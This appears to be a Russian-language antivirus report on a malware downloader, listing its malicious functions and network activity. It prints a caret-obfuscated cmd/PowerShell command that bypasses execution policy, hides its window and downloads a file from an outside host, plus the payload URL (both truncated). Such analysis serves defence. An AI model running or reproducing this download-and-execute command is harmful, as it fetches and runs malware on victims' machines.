Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fapoergol.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PO^w^er^sHELL.^EXe^ ^-^eXE^CuTionPOL^I^Cy^ bYpA^s^s ^-n^O^Pro^FILe ^-w^In^DOW^STY^lE ^H^IddEN^ (N^eW-oBJec^t ^s^yst^e^m.NEt^.weB^clieNt^).^D^ow^Nloa^dF^i^le('http://www.fapoergol....
Сетевая активность
UDP
- DNS ASK fa###rgol.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PO^w^er^sHELL.^EXe^ ^-^eXE^CuTionPOL^I^Cy^ bYpA^s^s ^-n^O^Pro^FILe ^-w^In^DOW^STY^lE ^H^IddEN^ (N^eW-oBJec^t ^s^yst^e^m.NEt^.weB^clieNt^).^D^ow^Nloa^dF^i^le('http://www.fapoergol....' (со скрытым окном)
